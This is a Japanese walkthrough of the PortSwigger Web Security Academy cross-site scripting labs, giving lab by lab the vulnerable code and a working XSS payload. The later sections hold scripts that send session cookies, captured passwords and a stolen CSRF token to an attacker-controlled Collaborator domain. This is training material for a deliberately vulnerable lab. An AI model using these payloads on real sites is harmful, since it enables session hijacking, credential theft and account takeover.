# Web Security Academy XSS Writeup [toc] ## Reflected XSS into HTML context with nothing encoded Blogの検索機能に対して、`<script>alert(document.domain)</script>`で終わり。 ![image](https://hackmd.io/_uploads/rJYGth8dT.png) ## Stored XSS into HTML context with nothing encoded ![image](https://hackmd.io/_uploads/HyUuK3Idp.png) ![image](https://hackmd.io/_uploads/S1yYt2LO6.png) ## DOM XSS in document.write sink using source location.search ```javascript function trackSearch(query) { document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">'); } var query = (new URLSearchParams(window.location.search)).get('search'); if(query) { trackSearch(query); } ``` search parameterのvalue部を取得し、`<img src`の一部とするもの。 `"><script>alert(document.domain)</script>`で終わり ![image](https://hackmd.io/_uploads/Hyup5hLdp.png) ## DOM XSS in innerHTML sink using source location.search ```javascript <script> function doSearchQuery(query) { document.getElementById('searchMessage').innerHTML = query; } var query = (new URLSearchParams(window.location.search)).get('search'); if(query) { doSearchQuery(query); } </script> ``` 前回と特に変わりはないが、`innerHTML`を使っているためscript tagはだめ。 となると`<img src=x onerror=alert(document.domain)>`で終わり。 ![image](https://hackmd.io/_uploads/r1hqihUd6.png) ## DOM XSS in jQuery anchor href attribute sink using location.search source ```javascript <script> $(function() { $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath')); }); </script> ``` returnPathパラメータの値を取得し、`<a id="backLink">Back</a>`のhrefに設定している。 `javascript:alert(document.domain)`をreturnPathのvalueにして`< Back`を押下すればよし。 ![image](https://hackmd.io/_uploads/Sy0n3hIup.png) ## DOM XSS in jQuery selector sink using a hashchange event ```htmlembedded <script> $(window).on('hashchange', function(){ var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')'); if (post) post.get(0).scrollIntoView(); }); </script> ``` 自動スクロールしてくれるような感じ。 `#<img src=x onerror=alert(1)>`とするとpop upが出ることを確認できる。 ![image](https://hackmd.io/_uploads/B1K0z6LOT.png) これをexploit serverから行う必要があるため、 ```htmlembedded <iframe src="https://0a95001303ec40a880b8216a00060005.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe> ``` これで終わり。 ## Reflected XSS into attribute with angle brackets HTML-encoded `se0r12`と検索に打ち込むと ```htmlembedded! <section class=blog-header> <h1>0 search results for 'se0r12'</h1> <hr> </section> <section class=search> <form action=/ method=GET> <input type=text placeholder='Search the blog...' name=search value="se0r12"> ``` と、htmlのattribute内に反映していることがわかる。 `se0r12"hoge`とすると ```htmlembedded= <input type=text placeholder='Search the blog...' name=search value="se0r12"hoge"> ``` のようにいい感じである。 ただし、`><`はエスケープされてしまうので、 `se0r12"onmouseover="alert(1)`で良し。 ```htmlembedded= <input type=text placeholder='Search the blog...' name=search value="se0r12"onmouseover="alert(1)"> ``` ## Stored XSS into anchor href attribute with double quotes HTML-encoded ![image](https://hackmd.io/_uploads/SJCLgAdcp.png) このようにして登録すると、 ```htmlembedded= <a id="author" href="sakr4">sakr2</a> ``` のように反映する。 `javascript:alert(1)`で良さそう。 ![image](https://hackmd.io/_uploads/B1hqxR_5a.png) ## Reflected XSS into a JavaScript string with angle brackets HTML encoded ```htmlembedded= <script> var searchTerms = 'sakr'; document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">'); </script> ``` script tagに反映するタイプ。 `sakr'hoge`をいれると、 ```htmlembedded= var searchTerms = 'sakr'hoge'; ``` 抜け出せている。 つまりこれで良し。 ```htmlmixed! sakr';alert(1);// ``` ## DOM XSS in document.write sink using source location.search inside a select element ```htmlemmbeded= <script> var stores = ["London","Paris","Milan"]; var store = (new URLSearchParams(window.location.search)).get('storeId'); document.write('<select name="storeId">'); if(store) { document.write('<option selected>'+store+'</option>'); } for(var i=0;i<stores.length;i++) { if(stores[i] === store) { continue; } document.write('<option>'+stores[i]+'</option>'); } document.write('</select>'); </script> ``` storeを制御できたら良さそう。 storeはというと、`(new URLSearchParams(window.location.search)).get('storeId');`部分 location.searchからstoreIdパラメータの値を抜き出しているように見える。 試しに、以下の様にアクセスし、 `https://0a19002c04b3fd1d8033fdee002f0019.web-security-academy.net/product?productId=1&storeId=hoge` `Console tab`で`(new URLSearchParams(window.location.search)).get('storeId'); `とうつと、`hoge`が返ってきた。 ![image](https://hackmd.io/_uploads/H1-QXRdqa.png) こうなれば勝利が確定しているも同然。 `<section>`内では`<img src=x onerror=alert(1)>`が発火しないので、そこだけ気をつけて。 `https://0a19002c04b3fd1d8033fdee002f0019.web-security-academy.net/product?productId=1&storeId=%3C/select%3E%3Cimg%20src=x%20onerror=alert(1)%3E`とすれば良し。 ![image](https://hackmd.io/_uploads/Bk7DEAd9a.png) ## DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded ```htmlembedded! {{$on.constructor('alert(1)')()}} ``` やるだけ。 ## Reflected DOM XSS `/resources/js/searchResults.js` ```javascript! eval('var searchResultsObj = ' + this.responseText); ``` なるほど。 `/search-results?search=`の結果がいい感じに入る。 `search=sakr`とすると ```json= {"results":[],"searchTerm":"sakr"} ``` `sakr\"}`すると、抜け出せている。 ```jsonld {"results":[],"searchTerm":"sakr\\"}"} ``` となると、以下で終わり。 ```htmlembedded sakr\"};alert(1);// ``` ![image](https://hackmd.io/_uploads/HyyD_Cd5p.png) ## Stored DOM XSS コメントを投稿すると、以下のようになる。 ```json= {"avatar":"","website":"","date":"2024-02-01T08:53:09.804227160Z","body":"hoge","author":"hoge"} ``` `/resources/js/loadCommentsWithVulnerableEscapeHtml.js`が重要になりそうで、 このjsファイルの内部で気になるのはこれ。 ```javascrpt function escapeHTML(html) { return html.replace('<', '&lt;').replace('>', '&gt;'); } ``` `<>`をエスケープするっぽい。 が、この書き方って、一回しかされないはずなので、 `<><img src=x onerror=alert(1)>` で終わり。 ## Reflected XSS into HTML context with most tags and attributes blocked `sakr<x>`とすると ```htmlembedded 0 search results for 'sakr<x> ``` とエスケープされていないことがわかる。 ので、`<script>alert(1)</script>`とするが ```text "Tag is not allowed" ``` tagの制限がある。 `body`タグは、今回制限を受けないのでこれを使う。 また、attributeに対しても制限が課せられているが、`onbeforeinput`, `onbeforetoggle`, `onratechange`, `onresize`, `onscrollend`は課せられていない。 つまり、`body`タグと、これらイベントでXSSを起こす必要がある。 この中だとonsizeが使えそう。 ```htmlembedded <body onresize> ``` でポップアップを確認しておく。 ![image](https://hackmd.io/_uploads/S1DBZJtqT.png) 今回は、被害者を作らないといけないので、やる。 ```htmlembedded <iframe src="https://0a2e00420406c0e3857bad1600620078.web-security-academy.net/?search=<body onresize='print()'" onload="this.style.width='100px'"> ``` ## Reflected XSS into HTML context with all tags blocked except custom ones [Reflected XSS into HTML context with most tags and attributes blocked](#Reflected-XSS-into-HTML-context-with-most-tags-and-attributes-blocked)と同じように、`script`タグだめだが、`x`タグのようなカスタムタグは許され、エスケープはされていない。 試しに、 ```htmlembedded <sakr id="x" onfocus="alert(document.domain)" tabindex=1>#x'; ``` を使ってみると、ポップアップが確認できた。 ![image](https://hackmd.io/_uploads/SJIkEkK96.png) ```htmlembedded <script> location = 'https://0a4d002404e846a380dab26600900018.web-security-academy.net/?search=<sakr id="x" onfocus="alert(document.cookie)" tabindex=1>#x'; </script> ``` これで終わり。 ## Reflected XSS with some SVG markup allowed ```htmlembedded <script>alert(1)</script> ``` どうやらこれはTagが許可されていないみたい。 `animatetransform`, `image`, `svg`, `title`は許可されている。 これらを利用したペイロードがあるらしく以下を利用するとポップアップが確認できた。 ```html! <svg><animatetransform onbegin=alert(1) attributeName=transform> ``` ![image](https://hackmd.io/_uploads/H1Iv_kY56.png) ## Reflected XSS in canonical link tag ```htmlembedded! <link rel="canonical" href='https://0af6001a03cd733880ae5d95007e0020.web-security-academy.net/post?postId=2'/> ``` 反映がだいぶ怪しい。 `&hoge='`としてアクセスすると ```htmlembedded! <link rel="canonical" href='https://0af6001a03cd733880ae5d95007e0020.web-security-academy.net/post?postId=2&hoge=''/> ``` となる。 linkタグ内で抜けれない場合は、 ```html! 'accesskey='x'onclick='alert(1) ``` を使う。 chromiumの`Alt+shift=x`で発火を確認できる。 ![image](https://hackmd.io/_uploads/Sk3iYJFqT.png) ## Reflected XSS into a JavaScript string with single quote and backslash escaped `sakr`で検索すると、 ```htmlembedded <script> var searchTerms = 'sakr'; document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">'); </script> ``` 以下で終わり。 `</script><script>alert(1)</script>` ## Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped `sakr\'hoge`で ```javascript var searchTerms = 'sakr\\'hoge'; ``` と抜けれているので、`\';alert(1);//`で終わり。 ## Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped website部に`https://hoge.com`とすると ```htmlembedded <a id="author" href="https://hoge.com" onclick="var tracker={track(){}};tracker.track('https://hoge.com');"> ``` となっていることに気づける。 この時は、HTMLエンコードを利用してバイパスできる可能性があるので試す。 `&apos;-alert(1)-&apos;` ![image](https://hackmd.io/_uploads/Hkmo3Z6c6.png) ### Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped ```javascript= var message = `0 search results for 'sakr'`; document.getElementById('searchMessage').innerText = message; ``` `${}`を使えば良い `${alert(1)}` ## Exploiting cross-site scripting to steal cookies XSSを見つける。 ![image](https://hackmd.io/_uploads/HyVkRW696.png) comment部が脆弱っぽい。 Burp Collaboratorのドメインを取得しておく。 ```htmlembedded! <script> location = `http://(your collaborator domain)?${document.cookie}` </script> ``` これで、sessionが送られてくるのでコピーして自身のセッションとして使うだけ。 ## Exploiting cross-site scripting to capture passwords https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-capturing-passwords Blog投稿の際の`Content`にXSSがあるので、以下を打ち込めば良し。 ```htmlembedded <b>Username:</><br> <input name=username id=username> <b>Password:</><br> <input type=password name=password onchange="if(this.value.length)fetch('https://COLLABORATOR-DOMAIN',{ method:'POST', mode: 'no-cors', body:username.value+':'+this.value });"> ``` これでadministratorが何故かユーザ名・パスワードを入力する ## Exploiting XSS to perform CSRF https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf `Update email`をする際のリクエストでは`csrf`というトークンは消すことができないため、XSSでcsrfトークンを取得する必要がある。 そのトークンを取得してCSRFでメールアドレスを変更する。 ということで以下でおわり。 ```javascript= <script> fetch("/my-account").then(response => response.text()).then(result => { const parser = new DOMParser(); const doc = parser.parseFromString(result, "text/html"); const csrfInput = doc.querySelector("input[name='csrf']"); const token = csrfInput ? csrfInput.value : null; console.log(token); fetch("/my-account/change-email", { method: "POST", headers: { "Content-Type":"application/x-www-form-urlencoded" }, body: `email=malicious@example.com&csrf=${token}` }) }); </script> ``` ## [TODO] Reflected XSS with AngularJS sandbox escape without strings https://portswigger.net/web-security/cross-site-scripting/contexts/client-side-template-injection/lab-angular-sandbox-escape-without-strings ```html= <script type="text/javascript" src="/resources/js/angular_1-4-4.js"> ``` Response内に気になる表現が見えます。 ```htmlembedded= <section class=blog-header> <script>angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) { $scope.query = {}; var key = 'search'; $scope.query[key] = ''; $scope.value = $parse(key)($scope.query); }); </script> <h1 ng-controller=vulnCtrl>10 search results for {{value}}</h1> <hr> </section> ``` `{{value}}`は、Anglularの式でしょうか。 ## [TODO] Reflected XSS with AngularJS sandbox escape and CSP https://portswigger.net/web-security/cross-site-scripting/contexts/client-side-template-injection/lab-angular-sandbox-escape-and-csp ## [TODO] https://portswigger.net/web-security/cross-site-scripting/contexts/lab-event-handlers-and-href-attributes-blocked https://portswigger.net/web-security/cross-site-scripting/contexts/lab-event-handlers-and-href-attributes-blocked ## [TODO] Reflected XSS in a JavaScript URL with some characters blocked https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-url-some-characters-blocked ## [TODO] Reflected XSS protected by very strict CSP, with dangling markup attack https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack ## [TODO] Reflected XSS protected by CSP, with CSP bypass https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass